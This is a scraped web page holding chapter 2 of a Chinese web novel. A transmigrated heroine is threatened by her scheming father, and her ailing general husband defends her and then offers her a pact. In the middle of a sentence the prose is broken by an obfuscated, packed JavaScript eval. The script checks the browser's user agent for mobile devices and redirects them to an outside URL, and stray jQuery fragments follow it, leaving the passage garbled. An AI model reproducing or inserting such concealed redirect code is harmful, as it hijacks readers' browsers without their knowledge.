默认冷灰
24号文字
方正启体

2. 回娘家被骂

作者:伊暖锦安本书字数:K更新时间:
    正午时分。


    空中悬挂起一轮太阳,金黄色的阳光沐浴着大地。春日的微风拂过苏晴的面庞,将她衣角轻轻撩起,还带着传来一股淡淡的桃花清香。


    苏晴站在门口抬头,望着上方门楣上暗红色门匾上“苏侯府”三个黑色字体。她身着一袭青衣,黑发梳的乌黑程亮,头包上金凤冠,耀眼夺目。


    今日小吉知道她要回母家特地给她梳妆打扮一番。苏晴抬脚进入府内,一路进入正庭,她拿起铜镜看了一眼自己脸上被小吉涂抹的脂粉,她有些不习惯因为作为新闻记者她基本没空化妆,顶着一张素颜拿起装备,就往场地奔。


    她看着铜镜里的自己,打扮起来还挺漂亮的。苏晴将铜镜收起来,举止间透露着古代女子的优雅。


    她落座到红椅上,还不到半刻,房门被人一脚踹开。扑面而来的是一阵冷风和地上的灰尘。


    苏晴和身后的小吉同时被突如其来的踹门声吓了一跳,苏晴缓了缓抬头见来人身着深褐色长袍,眼神正死死盯着自己嘴唇周围浓密的胡须,随着嘴角抽动乱飞。


    这个人正是侯爷苏烈,他身后跟着的身穿红色衣袍的女人是他的正妻,他一记目光便把苏晴旁边站着的小吉吓得连忙撤退,将房门合上。


    苏晴立马起身,给他行了礼后,就见父亲在房门合上后怒摔了下袖口,指着面前的自己开口一顿大骂:“今日朝堂上,皇上处处针对我挑我的刺,是不是你惹得了风怀不开心,他向皇上告状,所有人都知道皇上视他比太子还重要。”


    他的话刚说完,身后的正妻开始了下一顿谩骂:“苏晴,你不知道你父亲为了你操了多少心,劳心劳力照顾你重病的生母,你竟然是这么个白眼狼。”


    苏晴抬了抬眼皮,念在自己的晚辈并没有出口和他怼。反而好脾气的道:“我没有惹他。”


    嫡母见她这般好欺负的姿态,再次咄咄逼人,“要不是你把苏翎推到水里,害她生病我和你爹也不会出此下策让你替嫁,你一个庶出嫁到这么好的将军府上,不知前世修了多少福报,你不知享受好好感谢你爹和我,反而去挑不离间。”


    苏晴淡淡瞥了一眼嫡母,回答她,“我再说一遍,不是我推她的,是她自己跳下去的。”


    她记得明明小吉和她说是苏翎故意约她出来散步,自己跳下去,转头却大喊大叫污蔑是她给她推下去。


    苏晴不想再继续和他们争论,她当时就解释自己是清白的,可除了生母没有一个人相信她的话。“你别忘了你嫁过去的目的,整整一月,你给我了什么情报?”


    苏烈俯身在她耳边故意提醒,“如果你没有任何用处,我要你有何用?别忘了你娘还在我手里。这次回去再偷不出他的军权,我就断了你娘的药,反正她也是个将死之人,我不在乎她早点下去,路上还有小吉和你作陪。”


    苏晴再也忍不住了,恼怒地甩了下袖口,对着这个陌生的父亲大骂,“别忘了,嫁给风怀的人是苏翎,我是替她嫁过去的,这事被陛下知晓了,你们就等着受欺君之罪吧!”


    她顿了顿接着输出,“我到底怎么招惹你了?你这么讨厌我娘为什么要娶我娘,你和你的正妻还有嫡女好好生活不就好了?为什么你们可以理直气壮的说这些话?”


    苏晴咬紧牙关,声音发颤却一字一句说得清楚:“你们难道不会做贼心虚吗?替嫁的事,若我传出去,你们谁的脸面挂得住?要是不想闹掰的话,你就向我和我娘道个歉。还有——你不养我娘,我自己养。”


    苏烈被她这番话惊住了。这丫头从前在他面前连大气都不敢出一声,自打生了那场病醒过来,整个人像是换了副骨头,硬得他几乎不认识了。


    他甩了甩袖口,双手背到身后,面上竟没有半分心虚愧疚。反而笑了起来,那笑容从嘴角慢慢扯开,扯得满脸狰狞。


    “苏晴,你以为我没有准备?”他语调不紧不慢,“我早就料到你会拿这个来威胁。替嫁一事,我已禀明了陛下。你现在就是跑到御前去告,陛下不仅不会怪罪我,反而会劝你做个孝顺懂事的女儿。”


    苏晴张了张嘴,竟一个字也反驳不出来。有那么一瞬,她无比想回到现代。她不想在这个处处是算计、步步是陷阱的地方活下去。


    可转念又怕——若是在这里死了,便是真的死了,再也回不去了怎么办?


    她死死瞪着苏烈,从牙缝里挤出一句话来:“我做鬼都不会放过你们。”


    说完她眼角泛红,眉眼间全是绝望。她不愿在这人面前多留一刻,转身便要往外走。身后忽然传来管家匆忙的脚步声和一声高喊:“报——驸马到了!”管家行了礼便退下了。


    苏晴脚步一顿,抬起头来。府门外站着一个人。他穿着白色便服,腰间束着黑色腰带。她视线上移,见他一头黑发高高束起,银色发冠在日光下微微发亮,几缕碎发被春风拂起,在半空中轻轻飞舞。


    风怀站得笔直,抬了抬眼皮,目光在苏晴身上停了一瞬,又不动声色地收了回去。苏晴看清他的脸后,立刻将视线移到院中的桃树枝上。


    她不想让他看见自己这副狼狈的模样。风怀压低眉头,抬起右手握拳掩在唇边,轻咳了两声。


    春日的风不算凉,可吹在他那张惨白的脸上,衬得整个人病恹恹的,仿佛经不住一阵微风的吹打。


    门槛边站着的苏烈见女婿这副样子,肩头不自觉抖了一下,下意识往后退了半步,生怕那病气沾上自己。


    他身后的妻子更是悄悄朝屋里缩了一步。风怀将他二人的反应尽收眼底,面上不显,只依着规矩向丈人行了一礼。


    随后他上前一步,握住了苏晴的手。苏晴一惊,低头看去,只见他面不改色地将她蜷缩的手指一根一根板正,然后十指扣紧。她掌心冰凉,被他温热的手裹住,那股暖意竟一路从指尖漫到了心口。


    她顿了顿,反应过来——他这是在演戏。这人演起恩爱夫妻来,竟比她还熟练几分。风怀握着她的手,带她在苏烈和嫡母面前站定,不过半米的距离。


    片刻后,他开口了,嗓音低醇,不紧不慢:“家妻不懂规矩,我替她向父亲和母亲赔个不是。”这话说得体面,给足了苏烈脸面,却让站在他身侧的苏晴多少有些不自在。


    苏烈听了这话,紧绷的神色稍稍松了些,微笑着颔首,抬手便要请女婿进屋去坐。风怀抬手,干脆利落地拒了。“不必了。我是来接夫人回家的。”


    他顿了顿,语气仍是平和的,可接下来的话却句句带刺:“我家夫人在府上被我宠惯了,自然受不得半分委屈。她说想回来探望父亲母亲,求了我半晌我才答应。却不想在您这里竟受了这般的羞辱。”


    风怀微微偏头,似是不经意地看了苏晴一眼,又转回来。“怪不得她每次满心欢喜地回来,归家后却总是闷闷不乐。原来症结在此。今日若不是我亲自来接,怕是还蒙在鼓里。”


    他缓了一缓,接着道:“看来日后她也不必再回来受气了。不然每回都要我哄上好几天,才能回到往常那般活泼的模样。”苏晴心头一震。


    他这是在替她撑腰。她侧过脸,视线落在他半张脸上——鼻梁笔直,下颌线条分明,薄唇一张一合,语气温和却叫人无从招架。她目光微移,正要收回,瞳孔里却倏地映入他那双狭长的桃花眼。四目相对。


    风怀微微勾起嘴角,眼中竟漾出几分温柔来。苏晴被这突如其来的笑意惊得后背一凉。但她到底反应快,当即也弯起眼睛,冲他笑了。既然要演,那就演到底,气死那个卑鄙无耻的父亲。


    她挑了挑那双柳叶眉,身子主动朝风怀靠过去,伸出左手攀上他的手臂,将头轻轻靠在他宽厚的肩上,闭着眼撒起娇来:“还是将军最懂我,待我最好。”


    说完她还不忘偷偷瞟了一眼对面苏烈的脸色——果然铁青一片,两只眼珠子瞪得溜圆,气得怕是头顶都要冒烟了。苏晴觉得还不够。她眨了眨眼,仰头望着风怀,声音娇软:“将军,以后你能不能每次都陪我一起回来?”


    “好。”风怀答得干脆,还伸手拍了拍她搭在自己臂上的手。


    苏晴随即转头看向苏烈,唤了一声:“爹。”她笑盈盈的,语气亲热得不像话:“以后我会和夫君常回来看您和母亲的,顺便也去拜望小娘。”最


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371469|199927||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后那句话咬字极轻,可落在苏烈耳中却分明是一句警告——不许对她生母动手。


    风怀看了苏烈一眼,颔首道:“父亲、母亲请回屋吧,我与夫人先行告辞了。”两人转身离去。


    苏晴抿着唇努力憋住笑,余光瞥见苏烈和他妻子僵在屋檐下,进也不是退也不是,那副模样实在解气。


    上了马车,苏晴才刚坐稳,风怀便立刻撒开了牵着她的手。不仅撒开了,他甚至还朝轿窗的方向挪了挪,像是嫌她靠得太近。


    方才那副恩爱缠绵的模样,在轿帘落下的一瞬便消散殆尽。车厢里的温度像是陡然降了好几度。


    风怀闭上眼,抬手捏了捏太阳穴。沉默了片刻,他忽然开口,嗓音淡漠:“你是替苏翎嫁过来的吧。”


    苏晴呼吸一滞。他像是没注意到她的反应,自顾自地往下说:“你爹把你嫁进来,是让你偷走我手中的军权,再指证我密谋篡位。事成之后,他便放了你那个重病的娘,还你自由。”


    他停了一停。“是吗?”


    苏晴慢慢侧过身去,对上他那双桃花眼,心跳骤然加快。她吞咽了一下,放在膝上的手不自觉攥紧了裙摆。


    她并不是惊讶他何时发现的——而是他分明早就知道这一切,却从未戳破,从未防备,甚至一直在等她自己走进局中。好在她是个穿越来的人。


    在弄清楚谁可信谁不可信之前,她从未真正听信苏烈的话。她一门心思想着开话本坊赚钱,那桩要命的任务被她拖了又拖,始终没有动手。


    可归根结底,她不过是一颗棋子罢了。被苏烈利用,被风怀观望,从头到尾都是旁人棋盘上的一枚弃子。


    “你什么时候知道的?”她尽力稳住声音,问了出来。


    “你还没嫁给我的时候。”风怀说这话时语气平平,没有要瞒她的意思。


    这一个月来他暗中观察,已经确认了一件事——他这位夫人的心思根本不在他身上。苏晴舔了舔发干的嘴唇。


    她对风怀了解甚少,不知道他在谋划什么大事,也不确定他的病究竟是真是假。她不敢完全信他,但眼下只要不违背他、不与他作对,他大约也不会费那个心思对付她一个弱女子。


    “那你为何今日才跟我说?”她试探着问。他若是早就知道,为何一开始不挑明,偏要选在今日说出来?


    风怀看了她一眼。“因为今日我确认了一件事。”他说。


    “你和你父亲的关系并不好。”他顿了顿,接着道:“所以只要你不干涉我的事,不背叛我,我可以保你衣食无忧。甚至你那位被苏烈困住的生母,我也可以接到府上来,保你们母女平安。”


    苏晴微微蹙眉。此人心思之缜密、谋划之深远,远超她的想象。他提出的条件,她根本无法拒绝——甚至不得不依靠他。“在外面,我们照旧扮恩爱夫妻。在府中,随意便好。”


    风怀说完,撑着手臂靠在轿窗边,俯身打量着她。苏晴沉默了一会儿,开口道:“可以。不过我有一个条件。”


    风怀压低眉头,目光从她脸上扫过,似乎觉得她要求还挺多。他喉结微动,嗓音清冽:“什么条件?”


    “你不许干涉我开话本坊的事。”风怀眨了眨眼,似乎有些意外。


    他微微抬眉:“就这个?”


    “对。”


    “没问题。”他答得干脆,顿了一顿又补了一句,“我还可以帮你找铺面。”


    “真的?”苏晴脱口而出,瞪大了那双水灵灵的眼睛看着他,语气里带着藏不住的欣喜。


    风怀瞧着她这般模样,神情微微一顿。他似乎有些不解——让她开个话本坊而已,为何能高兴成这样?他没多问,只是握拳掩唇轻咳了一声,目光微微示意。


    苏晴反应过来,连忙收了那副雀跃的神情,端端正正地坐好,双手规规矩矩地放在膝上。她立马点了点头。点完之后,一阵迟来的寒意从脊背慢慢爬了上来。


    此人当真不简单。从头到尾,每一步都在他的算计之中。她自以为藏得够深,殊不知在他眼里,不过是一目了然的事。往后的日子,怕是要更小心才是。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)